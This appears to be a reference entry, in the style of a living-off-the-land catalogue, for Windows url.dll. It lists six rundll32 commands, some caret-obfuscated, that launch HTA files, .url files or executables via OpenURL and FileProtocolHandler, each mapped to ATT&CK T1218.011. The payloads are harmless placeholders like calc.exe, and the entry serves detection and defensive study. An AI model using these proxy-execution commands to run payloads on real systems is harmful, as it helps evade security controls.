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Internet Shortcut Shell Extension DLL.

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  1. Launch a HTML application payload by calling OpenURL.

    rundll32.exe url.dll,OpenURL "C:\test\calc.hta"
    Use case
    Invoke an HTML Application via mshta.exe (Default Handler).
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
  2. Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.

    rundll32.exe url.dll,OpenURL "C:\test\calc.url"
    Use case
    Load an executable payload by calling a .url file with or without quotes.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
  3. Launch an executable by calling OpenURL.

    rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
    Use case
    Load an executable payload by specifying the file protocol handler (obfuscated).
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
  4. Launch an executable by calling FileProtocolHandler.

    rundll32.exe url.dll,FileProtocolHandler calc.exe
    Use case
    Launch an executable.
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
  5. Launch an executable by calling FileProtocolHandler.

    rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
    Use case
    Load an executable payload by specifying the file protocol handler (obfuscated).
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011
  6. Launch a HTML application payload by calling FileProtocolHandler.

    rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta
    Use case
    Invoke an HTML Application via mshta.exe (Default Handler).
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1218.011